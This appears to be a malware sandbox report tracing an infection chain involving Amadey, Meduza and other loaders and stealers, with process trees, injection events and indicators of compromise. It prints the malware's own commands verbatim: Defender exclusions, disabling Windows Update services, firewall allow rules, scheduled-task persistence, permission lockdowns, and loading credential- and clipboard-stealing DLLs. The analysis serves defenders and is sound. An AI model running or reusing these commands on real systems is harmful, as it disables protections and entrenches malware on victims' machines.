5112	taskhost.exe
4892	powershell.exe
4892	powershell.exe
4704	schtasks.exe
4704	schtasks.exe
4704	schtasks.exe
4704	schtasks.exe
4408	msedge.exe
4408	msedge.exe
3204	Explorer.EXE
3204	Explorer.EXE
3204	Explorer.EXE
3204	Explorer.EXE
3204	Explorer.EXE
3204	Explorer.EXE
3204	Explorer.EXE
3204	Explorer.EXE
3204	Explorer.EXE
3204	Explorer.EXE
3204	Explorer.EXE
3204	Explorer.EXE
4116	powershell.exe
4116	powershell.exe
3204	Explorer.EXE
3204	Explorer.EXE
3204	Explorer.EXE
3204	Explorer.EXE
3204	Explorer.EXE
3204	Explorer.EXE
3204	Explorer.EXE
3204	Explorer.EXE
3204	Explorer.EXE
3204	Explorer.EXE
3204	Explorer.EXE
3204	Explorer.EXE
3204	Explorer.EXE
3204	Explorer.EXE
3204	Explorer.EXE
3204	Explorer.EXE
3204	Explorer.EXE
3204	Explorer.EXE
3204	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

3204 Explorer.EXE
Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

628
Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

powershell.exeifvttru

pid process

4892 powershell.exe
5400 ifvttru

pid	process
3204	Explorer.EXE

pid	process
628

pid	process
4892	powershell.exe
5400	ifvttru

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

vbc.exevbc.exevbc.execonhost.exetaskhost.exetaskhost.exetaskhost.exeschtasks.exepowershell.exeExplorer.EXEpowercfg.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	5000	vbc.exe
Token: SeDebugPrivilege	2796	vbc.exe
Token: SeDebugPrivilege	4132	vbc.exe
Token: SeDebugPrivilege	4048	conhost.exe
Token: SeDebugPrivilege	3924	taskhost.exe
Token: SeDebugPrivilege	5112	taskhost.exe
Token: SeDebugPrivilege	4912	taskhost.exe
Token: SeDebugPrivilege	4704	schtasks.exe
Token: SeDebugPrivilege	4116	powershell.exe
Token: SeShutdownPrivilege	3204	Explorer.EXE
Token: SeCreatePagefilePrivilege	3204	Explorer.EXE
Token: SeShutdownPrivilege	3204	Explorer.EXE
Token: SeCreatePagefilePrivilege	3204	Explorer.EXE
Token: SeDebugPrivilege	2896	powercfg.exe
Token: SeDebugPrivilege	4892	powershell.exe
Token: SeShutdownPrivilege	3204	Explorer.EXE
Token: SeCreatePagefilePrivilege	3204	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	4116	powershell.exe
Token: SeSecurityPrivilege	4116	powershell.exe
Token: SeTakeOwnershipPrivilege	4116	powershell.exe
Token: SeLoadDriverPrivilege	4116	powershell.exe
Token: SeSystemProfilePrivilege	4116	powershell.exe
Token: SeSystemtimePrivilege	4116	powershell.exe
Token: SeProfSingleProcessPrivilege	4116	powershell.exe
Token: SeIncBasePriorityPrivilege	4116	powershell.exe
Token: SeCreatePagefilePrivilege	4116	powershell.exe
Token: SeBackupPrivilege	4116	powershell.exe
Token: SeRestorePrivilege	4116	powershell.exe
Token: SeShutdownPrivilege	4116	powershell.exe
Token: SeDebugPrivilege	4116	powershell.exe
Token: SeSystemEnvironmentPrivilege	4116	powershell.exe
Token: SeRemoteShutdownPrivilege	4116	powershell.exe
Token: SeUndockPrivilege	4116	powershell.exe
Token: SeManageVolumePrivilege	4116	powershell.exe
Token: 33	4116	powershell.exe
Token: 34	4116	powershell.exe
Token: 35	4116	powershell.exe
Token: 36	4116	powershell.exe
Token: SeShutdownPrivilege	3204	Explorer.EXE
Token: SeCreatePagefilePrivilege	3204	Explorer.EXE
Token: SeShutdownPrivilege	3204	Explorer.EXE
Token: SeCreatePagefilePrivilege	3204	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	4892	powershell.exe
Token: SeSecurityPrivilege	4892	powershell.exe
Token: SeTakeOwnershipPrivilege	4892	powershell.exe
Token: SeLoadDriverPrivilege	4892	powershell.exe
Token: SeSystemProfilePrivilege	4892	powershell.exe
Token: SeSystemtimePrivilege	4892	powershell.exe
Token: SeProfSingleProcessPrivilege	4892	powershell.exe
Token: SeIncBasePriorityPrivilege	4892	powershell.exe
Token: SeCreatePagefilePrivilege	4892	powershell.exe
Token: SeBackupPrivilege	4892	powershell.exe
Token: SeRestorePrivilege	4892	powershell.exe
Token: SeShutdownPrivilege	4892	powershell.exe
Token: SeDebugPrivilege	4892	powershell.exe
Token: SeSystemEnvironmentPrivilege	4892	powershell.exe
Token: SeRemoteShutdownPrivilege	4892	powershell.exe
Token: SeUndockPrivilege	4892	powershell.exe
Token: SeManageVolumePrivilege	4892	powershell.exe
Token: 33	4892	powershell.exe
Token: 34	4892	powershell.exe
Token: 35	4892	powershell.exe
Token: 36	4892	powershell.exe
Token: SeShutdownPrivilege	3204	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

u8542029.exelegosa.execmd.exe10c7b9izmah9.exepf3bv0f2aw4mj.exeuseyyoou_crypted.execrypted158.exe

description	pid	process	target process
PID 3152 wrote to memory of 4688	3152	u8542029.exe	legosa.exe
PID 3152 wrote to memory of 4688	3152	u8542029.exe	legosa.exe
PID 3152 wrote to memory of 4688	3152	u8542029.exe	legosa.exe
PID 4688 wrote to memory of 2144	4688	legosa.exe	schtasks.exe
PID 4688 wrote to memory of 2144	4688	legosa.exe	schtasks.exe
PID 4688 wrote to memory of 2144	4688	legosa.exe	schtasks.exe
PID 4688 wrote to memory of 4756	4688	legosa.exe	cmd.exe
PID 4688 wrote to memory of 4756	4688	legosa.exe	cmd.exe
PID 4688 wrote to memory of 4756	4688	legosa.exe	cmd.exe
PID 4756 wrote to memory of 3752	4756	cmd.exe	cmd.exe
PID 4756 wrote to memory of 3752	4756	cmd.exe	cmd.exe
PID 4756 wrote to memory of 3752	4756	cmd.exe	cmd.exe
PID 4756 wrote to memory of 5080	4756	cmd.exe	cacls.exe
PID 4756 wrote to memory of 5080	4756	cmd.exe	cacls.exe
PID 4756 wrote to memory of 5080	4756	cmd.exe	cacls.exe
PID 4756 wrote to memory of 3196	4756	cmd.exe	cacls.exe
PID 4756 wrote to memory of 3196	4756	cmd.exe	cacls.exe
PID 4756 wrote to memory of 3196	4756	cmd.exe	cacls.exe
PID 4756 wrote to memory of 3696	4756	cmd.exe	cmd.exe
PID 4756 wrote to memory of 3696	4756	cmd.exe	cmd.exe
PID 4756 wrote to memory of 3696	4756	cmd.exe	cmd.exe
PID 4756 wrote to memory of 4524	4756	cmd.exe	cacls.exe
PID 4756 wrote to memory of 4524	4756	cmd.exe	cacls.exe
PID 4756 wrote to memory of 4524	4756	cmd.exe	cacls.exe
PID 4756 wrote to memory of 2236	4756	cmd.exe	cacls.exe
PID 4756 wrote to memory of 2236	4756	cmd.exe	cacls.exe
PID 4756 wrote to memory of 2236	4756	cmd.exe	cacls.exe
PID 4688 wrote to memory of 2784	4688	legosa.exe	10c7b9izmah9.exe
PID 4688 wrote to memory of 2784	4688	legosa.exe	10c7b9izmah9.exe
PID 4688 wrote to memory of 2784	4688	legosa.exe	10c7b9izmah9.exe
PID 2784 wrote to memory of 5000	2784	10c7b9izmah9.exe	vbc.exe
PID 2784 wrote to memory of 5000	2784	10c7b9izmah9.exe	vbc.exe
PID 2784 wrote to memory of 5000	2784	10c7b9izmah9.exe	vbc.exe
PID 2784 wrote to memory of 5000	2784	10c7b9izmah9.exe	vbc.exe
PID 4688 wrote to memory of 4496	4688	legosa.exe	pf3bv0f2aw4mj.exe
PID 4688 wrote to memory of 4496	4688	legosa.exe	pf3bv0f2aw4mj.exe
PID 4688 wrote to memory of 4496	4688	legosa.exe	pf3bv0f2aw4mj.exe
PID 2784 wrote to memory of 5000	2784	10c7b9izmah9.exe	vbc.exe
PID 4496 wrote to memory of 2796	4496	pf3bv0f2aw4mj.exe	vbc.exe
PID 4496 wrote to memory of 2796	4496	pf3bv0f2aw4mj.exe	vbc.exe
PID 4496 wrote to memory of 2796	4496	pf3bv0f2aw4mj.exe	vbc.exe
PID 4496 wrote to memory of 2796	4496	pf3bv0f2aw4mj.exe	vbc.exe
PID 4496 wrote to memory of 2796	4496	pf3bv0f2aw4mj.exe	vbc.exe
PID 4688 wrote to memory of 4504	4688	legosa.exe	useyyoou_crypted.exe
PID 4688 wrote to memory of 4504	4688	legosa.exe	useyyoou_crypted.exe
PID 4688 wrote to memory of 4504	4688	legosa.exe	useyyoou_crypted.exe
PID 4504 wrote to memory of 4132	4504	useyyoou_crypted.exe	vbc.exe
PID 4504 wrote to memory of 4132	4504	useyyoou_crypted.exe	vbc.exe
PID 4504 wrote to memory of 4132	4504	useyyoou_crypted.exe	vbc.exe
PID 4504 wrote to memory of 4132	4504	useyyoou_crypted.exe	vbc.exe
PID 4504 wrote to memory of 4132	4504	useyyoou_crypted.exe	vbc.exe
PID 4688 wrote to memory of 3648	4688	legosa.exe	crypted158.exe
PID 4688 wrote to memory of 3648	4688	legosa.exe	crypted158.exe
PID 4688 wrote to memory of 3648	4688	legosa.exe	crypted158.exe
PID 3648 wrote to memory of 4516	3648	crypted158.exe	AppLaunch.exe
PID 3648 wrote to memory of 4516	3648	crypted158.exe	AppLaunch.exe
PID 3648 wrote to memory of 4516	3648	crypted158.exe	AppLaunch.exe
PID 3648 wrote to memory of 4516	3648	crypted158.exe	AppLaunch.exe
PID 3648 wrote to memory of 4516	3648	crypted158.exe	AppLaunch.exe
PID 3648 wrote to memory of 4516	3648	crypted158.exe	AppLaunch.exe
PID 3648 wrote to memory of 4516	3648	crypted158.exe	AppLaunch.exe
PID 3648 wrote to memory of 4516	3648	crypted158.exe	AppLaunch.exe
PID 3648 wrote to memory of 4516	3648	crypted158.exe	AppLaunch.exe
PID 4688 wrote to memory of 4484	4688	legosa.exe	rockas.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

Processes:

Meduza.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3540700546-2554825161-2349363825-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Meduza.exe

outlook_win_path 1 IoCs

Processes:

Meduza.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3540700546-2554825161-2349363825-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Meduza.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3204

C:\Users\Admin\AppData\Local\Temp\u8542029.exe
"C:\Users\Admin\AppData\Local\Temp\u8542029.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:3152

C:\Users\Admin\AppData\Local\Temp\ebb444342c\legosa.exe
"C:\Users\Admin\AppData\Local\Temp\ebb444342c\legosa.exe"
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4688

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN legosa.exe /TR "C:\Users\Admin\AppData\Local\Temp\ebb444342c\legosa.exe" /F
4⤵
- Creates scheduled task(s)
PID:2144

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "legosa.exe" /P "Admin:N"&&CACLS "legosa.exe" /P "Admin:R" /E&&echo Y|CACLS "..\ebb444342c" /P "Admin:N"&&CACLS "..\ebb444342c" /P "Admin:R" /E&&Exit
4⤵
- Suspicious use of WriteProcessMemory
PID:4756

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
5⤵
PID:3752

C:\Windows\SysWOW64\cacls.exe
CACLS "legosa.exe" /P "Admin:N"
5⤵
PID:5080

C:\Windows\SysWOW64\cacls.exe
CACLS "legosa.exe" /P "Admin:R" /E
5⤵
PID:3196

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
5⤵
PID:3696

C:\Windows\SysWOW64\cacls.exe
CACLS "..\ebb444342c" /P "Admin:N"
5⤵
PID:4524

C:\Windows\SysWOW64\cacls.exe
CACLS "..\ebb444342c" /P "Admin:R" /E
5⤵
PID:2236

C:\Users\Admin\AppData\Local\Temp\1000139001\10c7b9izmah9.exe
"C:\Users\Admin\AppData\Local\Temp\1000139001\10c7b9izmah9.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2784

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5000

C:\Users\Admin\AppData\Local\Temp\1000146001\pf3bv0f2aw4mj.exe
"C:\Users\Admin\AppData\Local\Temp\1000146001\pf3bv0f2aw4mj.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4496

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2796

C:\Users\Admin\AppData\Local\Temp\1000147001\useyyoou_crypted.exe
"C:\Users\Admin\AppData\Local\Temp\1000147001\useyyoou_crypted.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4504

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4132

C:\Users\Admin\AppData\Local\Temp\1000155001\crypted158.exe
"C:\Users\Admin\AppData\Local\Temp\1000155001\crypted158.exe"
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3648

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
5⤵
PID:4516

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3648 -s 308
5⤵
- Program crash
PID:664

C:\Users\Admin\AppData\Local\Temp\1000159001\rockas.exe
"C:\Users\Admin\AppData\Local\Temp\1000159001\rockas.exe"
4⤵
- Executes dropped EXE
PID:4484

C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
"C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe"
5⤵
- Executes dropped EXE
PID:2300

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "oneetx.exe" /P "Admin:N"&&CACLS "oneetx.exe" /P "Admin:R" /E&&echo Y|CACLS "..\207aa4515d" /P "Admin:N"&&CACLS "..\207aa4515d" /P "Admin:R" /E&&Exit
6⤵
PID:3844

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
7⤵
PID:3928

C:\Windows\SysWOW64\cacls.exe
CACLS "oneetx.exe" /P "Admin:N"
7⤵
PID:204

C:\Windows\SysWOW64\cacls.exe
CACLS "oneetx.exe" /P "Admin:R" /E
7⤵
PID:364

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
7⤵
- Executes dropped EXE
PID:2812

C:\Windows\SysWOW64\cacls.exe
CACLS "..\207aa4515d" /P "Admin:N"
7⤵
- Executes dropped EXE
PID:4220

C:\Windows\SysWOW64\cacls.exe
CACLS "..\207aa4515d" /P "Admin:R" /E
7⤵
PID:3236

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe" /F
6⤵
- Creates scheduled task(s)
PID:1640

C:\Users\Admin\AppData\Local\Temp\1000438001\ss41.exe
"C:\Users\Admin\AppData\Local\Temp\1000438001\ss41.exe"
6⤵
- Executes dropped EXE
PID:4748

C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
"C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
6⤵
PID:4048

C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
"C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4912

C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe
"C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe"
6⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4944

C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
7⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1524

C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe"
6⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:4408

C:\Users\Admin\AppData\Local\Temp\1000439001\toolspub2.exe
"C:\Users\Admin\AppData\Local\Temp\1000439001\toolspub2.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4460

C:\Users\Admin\AppData\Local\Temp\1000439001\toolspub2.exe
"C:\Users\Admin\AppData\Local\Temp\1000439001\toolspub2.exe"
7⤵
PID:4892

C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
"C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:3924

C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
"C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
7⤵
PID:4704

C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe
"C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe"
6⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2616

C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe"
6⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2236

C:\Users\Admin\AppData\Local\Temp\1000440001\31839b57a4f11171d6abc8bbc4451ee4.exe
"C:\Users\Admin\AppData\Local\Temp\1000440001\31839b57a4f11171d6abc8bbc4451ee4.exe"
6⤵
- Executes dropped EXE
PID:3200

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
7⤵
PID:5820

C:\Users\Admin\AppData\Local\Temp\1000440001\31839b57a4f11171d6abc8bbc4451ee4.exe
"C:\Users\Admin\AppData\Local\Temp\1000440001\31839b57a4f11171d6abc8bbc4451ee4.exe"
7⤵
- Windows security bypass
- Executes dropped EXE
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:1708

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
8⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4440

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
9⤵
PID:192

C:\Windows\System32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
8⤵
PID:5916

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
9⤵
- Modifies Windows Firewall
PID:4060

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
8⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:744

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
8⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3240

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe
8⤵
- Executes dropped EXE
- Adds Run key to start application
- Manipulates WinMonFS driver.
- Drops file in Windows directory
PID:4124

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
9⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:5392

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
9⤵
- Creates scheduled task(s)
PID:5344

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
9⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2144

C:\Windows\SYSTEM32\schtasks.exe
schtasks /delete /tn ScheduledUpdate /f
9⤵
PID:4108

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
9⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2396

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
9⤵
- Executes dropped EXE
PID:5296

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
9⤵
- Creates scheduled task(s)
PID:4396

C:\Windows\windefender.exe
"C:\Windows\windefender.exe"
9⤵
- Executes dropped EXE
PID:4196

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
10⤵
PID:1132

C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
"C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5112

C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
"C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
7⤵
PID:5080

C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe
"C:\Users\Admin\AppData\Local\Temp\1000397001\taskhost.exe"
7⤵
PID:2896

C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe
"C:\Users\Admin\AppData\Local\Temp\1000398001\winlog.exe"
6⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3988

C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe
"C:\Users\Admin\AppData\Local\Temp\1000399001\msedge.exe"
6⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2780

C:\Users\Admin\AppData\Local\Temp\1000167001\rockas.exe
"C:\Users\Admin\AppData\Local\Temp\1000167001\rockas.exe"
4⤵
PID:4220

C:\Users\Admin\AppData\Local\Temp\1000172001\Amadey.exe
"C:\Users\Admin\AppData\Local\Temp\1000172001\Amadey.exe"
4⤵
PID:2812

C:\Users\Admin\AppData\Local\Temp\e8bff37b77\yiueea.exe
"C:\Users\Admin\AppData\Local\Temp\e8bff37b77\yiueea.exe"
5⤵
- Executes dropped EXE
PID:5028

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN yiueea.exe /TR "C:\Users\Admin\AppData\Local\Temp\e8bff37b77\yiueea.exe" /F
6⤵
- Creates scheduled task(s)
PID:744

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "yiueea.exe" /P "Admin:N"&&CACLS "yiueea.exe" /P "Admin:R" /E&&echo Y|CACLS "..\e8bff37b77" /P "Admin:N"&&CACLS "..\e8bff37b77" /P "Admin:R" /E&&Exit
6⤵
PID:2044

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
7⤵
PID:744

C:\Windows\SysWOW64\cacls.exe
CACLS "yiueea.exe" /P "Admin:N"
7⤵
PID:4136

C:\Windows\SysWOW64\cacls.exe
CACLS "yiueea.exe" /P "Admin:R" /E
7⤵
PID:192

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
7⤵
PID:1984

C:\Windows\SysWOW64\cacls.exe
CACLS "..\e8bff37b77" /P "Admin:N"
7⤵
PID:3960

C:\Windows\SysWOW64\cacls.exe
CACLS "..\e8bff37b77" /P "Admin:R" /E
7⤵
PID:3960

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\cred64.dll, Main
6⤵
- Loads dropped DLL
PID:5640

C:\Windows\system32\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\cred64.dll, Main
7⤵
- Loads dropped DLL
PID:5684

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 5684 -s 596
8⤵
- Program crash
PID:5560

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\clip64.dll, Main
6⤵
- Loads dropped DLL
PID:5720

C:\Users\Admin\AppData\Local\Temp\1000173001\Meduza.exe
"C:\Users\Admin\AppData\Local\Temp\1000173001\Meduza.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
PID:3968

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
4⤵
- Loads dropped DLL
PID:2920

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4116

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:4892

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
PID:5372

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
2⤵
PID:5264

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:6068

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:5248

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:5236

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:5416

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:4328

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
2⤵
PID:3440

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:5244

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:3616

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:4140

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
